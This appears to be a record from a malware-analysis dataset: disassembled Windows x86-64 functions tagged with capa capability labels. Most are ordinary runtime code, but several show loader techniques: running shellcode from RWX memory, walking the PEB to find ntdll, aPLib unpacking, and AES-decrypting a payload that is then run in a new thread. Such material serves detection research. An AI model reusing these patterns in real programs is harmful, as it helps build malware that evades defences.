joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400047e4
Capabilities:
Identify system language via api

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x1400128b8]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea r14, str.en_US
mov rsi, rcx
mov qword [rcx], r14
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov word [rsp + 0x30], ax
mov ebx, 0x10
mov r9d, ebx
lea rdx, [0x140008110]
lea rax, [0x140004df0]
mov r8d, 0x1b3
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call sub.api_ms_win_crt_private_l1_1_0.dll__o_bsearch
xor ebp, ebp
test rax, rax
jne 0x14000485f
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1400048e5
cmp dword [rax + 0xc], 0x7c
jne 0x14000486c
cmp word [rax + 8], 0x7f
jne 0x14000484f
mov r8, qword [rax]
or rcx, 0xffffffffffffffff
inc rcx
cmp word [r8 + rcx*2], bp
jne 0x140004873
inc rcx
cmp rcx, 0x7ffffffe
jbe 0x140004890
mov word [rsp + 0x38], bp
jmp 0x1400048d7
lea rax, [rsp + 0x38]
mov r9d, ebp
sub r8, rax
lea rdx, [rsp + 0x38]
lea rax, [rbx - 0x10]
add rax, rcx
je 0x1400048c0
movzx eax, word [r8 + rdx]
test ax, ax
je 0x1400048c0
mov word [rdx], ax
add rdx, 2
sub rbx, 1
jne 0x1400048a0
test rbx, rbx
jne 0x1400048cf
sub rdx, 2
mov r9d, 0x8007007a
mov word [rdx], bp
test r9d, r9d
jns 0x1400048e1
mov ecx, 0x7a
jmp 0x140004854
test ecx, ecx
jne 0x1400048f1
mov rcx, qword [rsp + 0x78]
call fcn.14000494c
jmp 0x14000492a
mov rbx, rbp
mov rdi, rbp
mov rdx, qword [rdi + r14]
lea rcx, [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__wcsicmp]
test eax, eax
je 0x14000491c
inc rbx
add rdi, 0x30
cmp rdi, 0x750
jb 0x1400048f7
jmp 0x14000492a
lea rax, [rbx + rbx*2]
shl rax, 4
add rax, r14
mov qword [rsi], rax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400050e0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x140005104
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140012e60], eax
call fcn.1400056f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140012e60], 0
jne case.default.0x14000515a
mov ecx, 1
call fcn.1400056f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
out 0xc0, eax
xchg edi, eax
wait
xor byte [rbx + 0x5d], bh
invalid
mov cl, 0x21
jae 0x14001ac83
and dword [rbx - 0x7a], esi
enter 0xffffffffffffdf42, 0xffffffffffffffc3
in eax, 0x5a
xchg esp, eax
and bl, byte [rbp + 0x2b]
jae 0x14001acf9
jp 0x14001ad8a
shr dword [0x159b391fd], 1
out dx, eax
push 0x5ad40691
jnp 0x14001ad18
out dx, eax
adc eax, 0xd598231b
invalid
cmp al, 0xd5
sar byte [rdx], 1
invalid
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x28
dec byte [0x14000308f]
xor ecx, ecx
mov edx, 0x1fe
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x140003050]
mov r8d, 3
mov r9, rax
mov rdx, rax
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rdx - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm1
sub r8, 1
jne 0x140001034
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
mov rax, qword [rcx + 0x70]
mov qword [rdx + 0x70], rax
mov eax, dword [rcx + 0x78]
mov dword [rdx + 0x78], eax
movzx eax, word [rcx + 0x7c]
mov word [rdx + 0x7c], ax
movzx eax, byte [rcx + 0x7e]
mov byte [rdx + 0x7e], al
movups xmm0, xmmword [0x140003040]
movups xmmword [r9 + 0x1fe], xmm0
movups xmm1, xmmword [0x140003250]
movups xmmword [r9 + 0x20d], xmm1
movups xmm0, xmmword [0x140003260]
movups xmmword [r9 + 0x21d], xmm0
movups xmm1, xmmword [0x140003270]
movups xmmword [r9 + 0x22d], xmm1
movsd xmm0, qword [0x140003280]
movsd qword [r9 + 0x23d], xmm0
mov eax, dword [0x140003288]
mov dword [r9 + 0x245], eax
movzx eax, byte [0x14000328c]
mov byte [r9 + 0x249], al
call r9
xor eax, eax
add rsp, 0x28
ret
Function at 0x140267c74
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
call fcn.140266056
lea rsp, [rsp + 8]
jmp 0x140267c91
lea rsp, [rsp + 1]
jmp 0x140267c5e
mov rax, qword [rax + riz]
jmp 0x140267cde
mov rax, qword gs:[0x60]
mov rax, qword [rax + riz + 0x18]
mov rax, qword [rax + riz + 0x30]
jmp 0x140267c7b
mov rax, qword [rax + riz + 0x10]
push rax
jmp 0x140266051
Function at 0x140006900
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x14000c918], rbx
je 0x14000694c
cmp rax, rbx
jne 0x14000693f
mov ebx, 1
mov esi, ebx
jmp 0x140006951
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140006924
mov ebx, 1
mov eax, dword [0x14000c920]
cmp eax, ebx
jne 0x140006967
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x1400069cc
mov eax, dword [0x14000c920]
test eax, eax
jne 0x1400069c6
mov dword [0x14000c920], ebx
lea r15, [0x1400085d8]
lea rdi, [0x1400085c0]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x1400069b8
test eax, eax
jne 0x1400069bc
cmp qword [rdi], 0
je 0x1400069ad
mov rax, qword [rdi]
mov rcx, qword [0x1400085a0]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14000698e
test eax, eax
je 0x1400069cc
mov eax, 0xff
jmp 0x140006aa8
mov dword [0x14000c354], ebx
mov eax, dword [0x14000c920]
cmp eax, ebx
jne 0x1400069f3
lea rdx, [0x1400085b8]
lea rcx, [0x1400085a8]
call sub.msvcrt.dll__initterm
mov dword [0x14000c920], 2
test esi, esi
jne 0x140006a00
xor eax, eax
xchg qword [0x14000c918], rax
cmp qword [0x14000c928], 0
je 0x140006a34
lea rcx, [0x14000c928]
call fcn.140006d70
test eax, eax
je 0x140006a34
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14000c928]
mov r9, qword [0x1400085a0]
call r9
mov r8, qword [0x14000c368]
mov rdx, qword [0x14000c360]
mov ecx, dword [0x14000c358]
call fcn.1400017f4
mov dword [0x14000c350], eax
cmp dword [0x14000c370], 0
jne 0x140006a64
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000c354], 0
jne 0x140006a79
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000c350]
jmp 0x140006aa8
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.14017c000
add rsp, 0x28
jmp 0x140006900

Function at 0x140006c5c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140006ca8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140006ca0
cmp dword [rcx + 0x3c], edx
jl 0x140006ca0
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140006ca0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140006ca8
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140c02058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140c021df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140c02089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c0206f
add dl, dl
jne 0x140c02096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c020f6
xor eax, eax
add dl, dl
jne 0x140c020a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c021ad
add dl, dl
jne 0x140c020b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c020c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c020d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c020dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140c020ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140c0207e
mov eax, 1
add dl, dl
jne 0x140c02106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c02113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c020fb
sub eax, ebx
mov ebx, 1
jne 0x140c0214c
mov ecx, 1
add dl, dl
jne 0x140c0212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140c0213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c02123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c0207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140c02168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140c02175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c0215d
cmp eax, 0x7d00
jae 0x140c0219b
cmp eax, 0x500
jb 0x140c02196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c0207e
cmp eax, 0x7f
ja 0x140c0219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c0207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140c021d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140c0207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002ec0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140004df0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140004df0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002f30
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000a0a4]
mov rbx, rcx
test esi, esi
jle 0x140003060
mov rax, qword [0x14000a0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002f7b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140003005
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002f60
mov rcx, rbx
call fcn.140003980
mov rdi, rax
test rax, rax
je 0x140003082
mov rax, qword [0x14000a0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003ac0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000a0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140003067
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002ffe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140003010
add dword [0x14000a0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000a0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002ffe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002ec0
nop dword [rax]
xor esi, esi
jmp 0x140002f88
mov rax, qword [0x14000a0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002ec0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002ec0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400035f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000a100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000a0e0]
test rbx, rbx
je 0x14000364c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003643
test rsi, rsi
je 0x140003643
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003628
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140003980
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140006aa0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400039a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400039a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400039a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400039fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400039f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400039a0
add rax, 0x28
cmp rax, r9
jne 0x1400039e0
xor eax, eax
ret

Function at 0x140003a00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006aa0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140003a1f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003a28
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140003a1f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003ac0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006aa0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140003adf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003ae8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14000a820
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140014d00
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140014d00
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000a890
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400fb0a4]
mov rbx, rcx
test esi, esi
jle 0x14000a9c0
mov rax, qword [0x1400fb0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000a8db
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000a965
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000a8c0
mov rcx, rbx
call fcn.14000b2e0
mov rdi, rax
test rax, rax
je 0x14000a9e2
mov rax, qword [0x1400fb0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000b420
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400fb0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000a9c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000a95e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000a970
add dword [0x1400fb0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400fb0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000a95e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000a820
nop dword [rax]
xor esi, esi
jmp 0x14000a8e8
mov rax, qword [0x1400fb0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000a820
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000a820
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000af50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400fb100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400fb0e0]
test rbx, rbx
je 0x14000afac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000afa3
test rsi, rsi
je 0x14000afa3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000af88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000b2e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400d52c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000b300
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000b308
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000b300
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000b35d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000b354
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000b300
add rax, 0x28
cmp rax, r9
jne 0x14000b340
xor eax, eax
ret

Function at 0x14000b360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400d52c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000b37f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000b388
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000b37f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000b420
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400d52c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000b43f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000b448
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400155f0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
mov dword [rsp + 0x78], edx
mov rdi, rcx
mov rbx, r8
mov rsi, r9
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x38]
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400156e8
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400156e8
xor r9d, r9d
mov rcx, qword [rsp + 0x40]
mov r8d, esi
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400156e8
lea rax, [rsp + 0x48]
xor r9d, r9d
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov edx, 0x6610
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400156e8
lea rax, [rsp + 0x78]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400156e8
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor eax, eax
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
mov eax, 0xffffffff
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
Function at 0x1400783c0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140078408
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x1400783da
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400b2c90
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400cebe0]
jmp 0x14000c130

Function at 0x1400b2ca0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400cebe0]
jmp 0x14000c130

Function at 0x1400b3150
Capabilities:
Create thread
Inject thread

Disassembly:
push rdi
push rsi
push rbx
add rsp, 0xffffffffffffff80
lea rsi, [0x1400b4200]
call fcn.14000a610
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0x17c00
call rbx
xor r8d, r8d
lea rdx, [rsp + 0x68]
lea r9, [rsp + 0x70]
mov dword [rsp + 0x28], 4
mov rcx, rax
mov dword [rsp + 0x20], 0x3000
call sub.ntdll.dll_NtAllocateVirtualMemory
call fcn.140015720
mov edx, dword [0x1400b41d0]
mov r9d, 0x10
mov rcx, rsi
lea r8, str.::r_CI
call fcn.1400155f0
mov rdi, qword [rsp + 0x68]
call rbx
mov r9d, 0x17c00
mov r8, rsi
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
call sub.ntdll.dll_NtWriteVirtualMemory
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
lea r9, [rsp + 0x64]
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400b3298
call fcn.140015720
mov rsi, qword [rsp + 0x68]
call rbx
lea rcx, [rsp + 0x78]
xor r8d, r8d
mov edx, 0x1fffff
mov qword [rsp + 0x50], 0
mov r9, rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rsi
call sub.ntdll.dll_NtCreateThreadEx
call fcn.140015720
mov rcx, qword [rsp + 0x78]
xor r8d, r8d
xor edx, edx
call sub.ntdll.dll_NtWaitForSingleObject
call fcn.140015720
mov rcx, qword [rsp + 0x78]
call sub.ntdll.dll_NtClose
xor eax, eax
sub rsp, 0xffffffffffffff80
pop rbx
pop rsi
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.VirtualProtect_failed_with_error_code:__lx_n
mov edx, eax
call fcn.140015be0
or eax, 0xffffffff
jmp 0x1400b3290